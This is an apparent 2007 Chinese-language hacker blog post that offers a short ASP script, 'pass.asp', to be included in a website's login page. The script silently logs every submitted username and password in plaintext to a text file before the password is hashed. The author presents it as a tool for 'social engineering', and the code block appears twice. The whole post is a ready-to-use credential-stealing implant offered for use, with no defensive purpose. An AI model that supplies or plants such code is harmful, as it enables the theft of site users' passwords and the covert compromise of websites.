2007-02-15 11:35:31 by: h4x0r
记录密码的一个文件
放在这里.以后社会工程学用的 ![[cool]](styles/default/images/smilies/icon_cool.gif)
保存为pass.asp
包含进去就搞定
Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=813
<%
Dim Username,PassWord,strLogFile,f,ff,StrLogText '这里是变量定义
UserName=Replace(Request("username"),"'","") '用户名表
password=Replace(Request("password"),"'","") '密码表
strLogFile="pass.txt" '记录文件
StrLogText=StrLogText&"号码:"&UserName&"----"&"密码:"&PassWord&chr(13)+chr(10)
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
PassWord=md5(request("password"),16)
%>
Dim Username,PassWord,strLogFile,f,ff,StrLogText '这里是变量定义
UserName=Replace(Request("username"),"'","") '用户名表
password=Replace(Request("password"),"'","") '密码表
strLogFile="pass.txt" '记录文件
StrLogText=StrLogText&"号码:"&UserName&"----"&"密码:"&PassWord&chr(13)+chr(10)
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
PassWord=md5(request("password"),16)
%>
保存为pass.asp
包含进去就搞定
Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=813
There is no comment on this article.
